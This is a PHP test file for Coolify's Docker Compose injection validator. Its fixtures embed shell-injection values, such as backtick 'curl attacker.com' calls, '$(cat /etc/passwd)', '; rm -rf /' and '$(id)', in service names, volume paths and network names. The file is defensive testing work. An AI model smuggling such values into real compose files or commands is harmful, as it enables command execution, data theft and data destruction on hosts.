mirror of
https://github.com/coollabsio/coolify.git
synced 2026-11-04 10:42:23 +00:00
Accept the `?`, `:?`, `+` and `:+` interpolation operators in Compose
network names, such as `${CONTAINER_NAME?error}`. The validation added
in v4.4.0 only knew `-` and `:-`, so these valid files stopped deploying.
The text after `?` is an error message and is not used as the default of
the created environment variable. Unsafe operands are still rejected.
Fixes #12126
324 lines
9.7 KiB
PHP
324 lines
9.7 KiB
PHP
<?php
|
|
|
|
test('validateDockerComposeForInjection blocks malicious service names', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
evil`curl attacker.com`:
|
|
image: nginx:latest
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/pwn`curl attacker.com`:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/pwn`curl attacker.com`'
|
|
target: /app
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '$(cat /etc/passwd):/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks pipes in service names', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web|cat /etc/passwd:
|
|
image: nginx:latest
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/test; rm -rf /:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows legitimate compose files', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- /var/www/html:/usr/share/nginx/html
|
|
- app-data:/data
|
|
db:
|
|
image: postgres:15
|
|
volumes:
|
|
- db-data:/var/lib/postgresql/data
|
|
volumes:
|
|
app-data:
|
|
db-data:
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '${DATA_PATH}:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '${DATA:-$(cat /etc/passwd)}:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection requires services section', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
version: '3'
|
|
networks:
|
|
mynet:
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection handles empty volumes array', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes: []
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
|
|
$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
|
|
|
|
// YAML parser will reject this before our validation (which is good!)
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/test > /etc/passwd:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection validates volume targets', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/safe:/app`curl attacker.com`'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection handles multiple services', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- /var/www:/usr/share/nginx/html
|
|
api:
|
|
image: node:18
|
|
volumes:
|
|
- /app/src:/usr/src/app
|
|
db:
|
|
image: postgres:15
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid top-level network names', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
"app'network":
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose network name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid service network list items', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
- "app'network"
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service network');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid service network map keys', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
"app'network":
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service network');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid compose network name fields', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
frontend:
|
|
name: "app'network"
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose network name field');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows legitimate compose networks', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
- frontend
|
|
- backend
|
|
networks:
|
|
frontend:
|
|
backend:
|
|
name: app-backend
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows variables in compose network name fields', function (string $name) {
|
|
$compose = <<<YAML
|
|
services:
|
|
app:
|
|
image: nginx:latest
|
|
networks:
|
|
- shared
|
|
networks:
|
|
shared:
|
|
external: true
|
|
name: '{$name}'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
|
|
})->with([
|
|
'variable' => ['${SHARED_NETWORK}'],
|
|
'variable with a default' => ['${SHARED_NETWORK:-traefik_public}'],
|
|
'variable with an unset-only default' => ['${SHARED_NETWORK-traefik-public.1}'],
|
|
'required variable' => ['${SHARED_NETWORK?error}'],
|
|
'required non-empty variable' => ['${SHARED_NETWORK:?missing}'],
|
|
]);
|
|
|
|
test('validateDockerComposeForInjection still blocks unsafe compose network names with variables', function (string $name, string $where) {
|
|
$networkKey = $where === 'key' ? $name : 'shared';
|
|
$nameField = $where === 'name' ? $name : 'shared';
|
|
$compose = "services:\n app:\n image: nginx:latest\nnetworks:\n ".json_encode($networkKey).":\n name: ".json_encode($nameField)."\n";
|
|
|
|
expect(fn () => validateDockerComposeForInjection($compose))->toThrow(Exception::class, 'Invalid Docker Compose network name');
|
|
})->with([
|
|
'default with shell characters' => ['${NET:-bad name;id}', 'name'],
|
|
'default with command substitution' => ['${NET:-$(id)}', 'name'],
|
|
'command substitution' => ['$(id)', 'name'],
|
|
'backticks' => ['`id`', 'name'],
|
|
'text around a variable with command substitution' => ['prefix_${NET}$(id)', 'name'],
|
|
'nested variable' => ['${NET:-${OTHER}}', 'name'],
|
|
'invalid variable name' => ['${1NET}', 'name'],
|
|
'required variable with command substitution in the message' => ['${NET:?$(id)}', 'name'],
|
|
'newline' => ["\${NET}\nid", 'name'],
|
|
'variable as network key' => ['${NET}', 'key'],
|
|
]);
|
|
|
|
test('validateDockerComposeForInjection accepts network names that mix variables and text', function (string $name) {
|
|
$compose = "services:\n app:\n image: nginx:latest\nnetworks:\n shared:\n name: ".json_encode($name)."\n";
|
|
|
|
expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
|
|
})->with([
|
|
'prefix and variable' => ['prefix_${NET}'],
|
|
'project default network' => ['${COMPOSE_PROJECT_NAME}_default'],
|
|
'variable with default inside text' => ['app-${APP_ENV:-prod}-net'],
|
|
'bare variable' => ['$PREFIX.edge'],
|
|
]);
|